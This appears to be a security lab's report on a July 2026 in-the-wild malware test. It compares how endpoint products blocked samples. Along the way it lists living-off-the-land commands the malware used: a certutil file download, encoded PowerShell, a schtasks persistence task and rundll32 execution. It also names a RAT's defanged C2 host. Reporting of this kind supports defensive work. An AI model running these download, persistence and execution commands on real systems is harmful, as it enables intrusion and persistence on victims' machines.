July 2026: malware vs. protection mechanisms

14 August 2026

After weighing all the pros and cons and reviewing comments from vendors, we are publishing the results of the July edition of the Advanced In-The-Wild Malware Test. This time, in addition to the effectiveness of the protection itself, we’re taking a closer look at how modern malware exploits legitimate Windows tools and system components to carry out subsequent stages of an attack.

We “monitor” each sample from the moment it is delivered and downloaded, through execution, all the way to its activity within the operating system. This allows us to determine not only whether the product stopped the threat, but also when the response occurred and what techniques the malware employed.

Remediation remains a key element. This metric (“Remediation Time”) indicates how long it takes the solution to neutralize the threat and restore the system to a secure state.

In practice, the entire course of a single test can be represented as follows:

1) malware download (optionally, a block may already occur at this stage) → 2) execution → 3) malware activity and use of system tools → 4) security response → 5) neutralization and remediation

In the July edition, we again observed the intensive use of legitimate Windows components and administrative tools by the malware samples we analyzed. However, the process itself is not an indicator of a threat—what matters more is how it is launched, its parameters, and the context of the entire chain of events.

Here are some examples of the system tools we observed:

certutil.exe – malware uses this to download files and decode data, e.g.:

				
					certutil -urlcache -f <URL> something_bad.exe

powershell.exe – executing commands and scripts, downloading subsequent stages of the attack, and running obfuscated code:

				
					powershell -enc <Base64>

schtasks.exe – creating scheduled tasks, including to ensure persistence:

				
					schtasks /Create /SC ONLOGON /TN Update /TR payload.exe

rundll32.exe – executing code from DLLs:

				
					rundll32.exe payload.dll,EntryPoint

reg.exe – modifying the Windows Registry, including mechanisms for automatically launching programs.

bitsadmin.exe and curl.exe – downloading additional files and further attack components.

whoami.exe, tasklist.exe, ping.exe, and nslookup.exe – reconnaissance of the environment, user, running processes, and network configuration and availability.

Also noteworthy is the tor.exe process, which we observed running 406 times. In the context of malware, it can be used to anonymize communication and make it more difficult to identify network infrastructure.

Living-off-the-Land in practice

Observations from July demonstrate why analyzing a single process has limited value. While powershell.exe, certutil.exe, and rundll32.exe are legitimate system components, their combination with an unusual command line, a parent process, network communication, and subsequent events can reveal malicious intent.

In the Advanced In-The-Wild Malware Test, we analyze the full context of events—from sample download, through child processes and executed commands, to network communication, persistence, and the final response of the security solution.

Methodology & AMTSO Compliance

The test methodology was developed in accordance with AMTSO guidelines. The test uses malware samples from actual campaigns intercepted by honeypot systems, which allows for the evaluation of protection effectiveness in scenarios that closely resemble real-world threats observed on the Internet.

The study focuses not only on blocking effectiveness but also on telemetry analysis, incident visibility, and the ability to reconstruct actions performed on the system prior to the activation of protective mechanisms.

https://www.amtso.org/amtso-ls1-tp178

Advanced In-The-Wild Malware Test

July Results (Round 4 of 6, 2026)

A glimpse into our test backend

Below are selected examples of incident visibility recorded by the solutions under test. Depending on the product architecture and level of integration, the solutions provided varying levels of detail regarding processes, parent-child relationships, command-line parameters, network communication, system changes, and event correlations between hosts.

WithSecure Elements

WithSecure Elements is a cloud-based security platform designed for organizations, combining endpoint protection with EDR capabilities and centralized management. The solution developed by WithSecure uses, among other things, DeepGuard technology for behavioral analysis and the detection of suspicious activity during process execution.

Below, we demonstrate how the WithSecure agent blocked a threat as soon as an attempt was made to run a downloaded file. The DeepGuard mechanism detected suspicious process behavior and prevented it from continuing to run.

In this case, the response occurred at the behavioral layer (Runtime Protection) rather than based solely on the reputation of the downloaded file. The message “Suspicious behavior prevented” indicates that a potential attempt at process tampering was blocked before the malware could continue its activities on the system.

This case clearly illustrates how DeepGuard technology, developed by F-Secure, works—the behavioral protection layer on which the business version of WithSecure is based. This mechanism does not rely solely on a file’s reputation but also analyzes its behavior during execution and can stop suspicious activity in real time.

Trend Micro

Trend Micro blocked a Remcos RAT sample (SHA256: 748c32e… 63c89b) immediately after it was written to disk, before it even executed. The threat is classified as a backdoor/RAT and was configured to communicate with the C2 server papilawdns[.]duckdns[.]org[:]2404.

This is an example of effective pre-execution protection: even though the download was initiated and the browser’s system-level “Save As” dialog box appeared, the malicious file was intercepted by the product’s protection layer before it could begin executing on the system.

Webroot SecureAnywhere

Here is an example of how Webroot responded to a sample during the Runtime Defense phase. The file t4mmmy.exe was launched and then placed under monitoring by the Journal mechanism, which recorded its identifiers and activity and marked the process as monitored (protectedapp=y). Ultimately, the threat was stopped.

The SHA256 sample 1748ab3f…ecdf7d originated from a Ukraine-themed phishing/malspam campaign and was also registered on MalwareBazaar. This is an interesting example of how behavioral protection works, especially since not all external sources unequivocally classified the file as malicious.

Avast One

Avast One Free blocked the sample before it even ran, classifying it as FileRepMalware [Misc] and automatically moving it to quarantine. This is an example of how the file-reputation-based pre-execution layer works—the threat was stopped before it could begin any activity on the system.

The sample with SHA256 [5bc68364…9d9a0b] was simultaneously classified by other engines as, among other things, a Trojan, a dropper, and a password stealer. It is interesting to note that Avast did not need to identify a specific malware family—the file’s reputation was sufficient to block it effectively.

Behavioral analysis of the sample also revealed MITRE ATT&CK techniques related to Execution, Defense Evasion, and Discovery. These included, among others, command execution (T1059), code obfuscation (T1027), virtual environment/sandbox detection (T1497), as well as the identification of processes, system information, and files and directories (T1057, T1082, T1083).

Summary of the July 2026 edition

The July edition of the Advanced In-The-Wild Malware Test once again demonstrated that effective protection does not rely on a single mechanism. Threats were blocked at various stages—from URL and file reputation, through pre-execution protection, to the analysis of the behavior of a running process as part of Runtime Defense.

Particularly notable was the malware’s exploitation of legitimate Windows components and administrative tools: certutil.exe, powershell.exe, rundll32.exe, schtasks.exe, and reg.exe are not threats in and of themselves. Only by analyzing command-line parameters, parent-child processes, system changes, and network communication can their use be properly assessed. The observed samples also utilized MITRE ATT&CK techniques related to code execution, persistence, system reconnaissance, obfuscation, and evading sandbox environments.

The results thus demonstrate the growing importance of multi-layered protection: reputation-based detection, static analysis, behavioral monitoring, and rapid remediation. Just as important as detection itself is how quickly a product can stop the activity and restore the system to a secure state.

Description of the configurations of the solutions we tested

Enterprise Solutions

Elastic Defend + EDR

All Shields on Prevent mode + Attack surface reduction Enabled + collect all Events from workstation

Emsisoft Enterprise Security + EDR

Default settings + automatic PUP repair + EDR + Rollback + browser protection

Microsoft Defender for Business + EDR

Default policy + configuration settings („Block at First Sight” enabled + EDR in block mode

mks_vir Endpoint Security + EDR

Extended http/https scanning enabled + browser protection + EDR

ThreatDown Endpoint Protection + EDR

Default settings + browser protection + EDR

WithSecure Elements EPP

Default settings + browser protection + Turn on Browser Protection for untrusted browsers

Solutions for Consumers and Small Business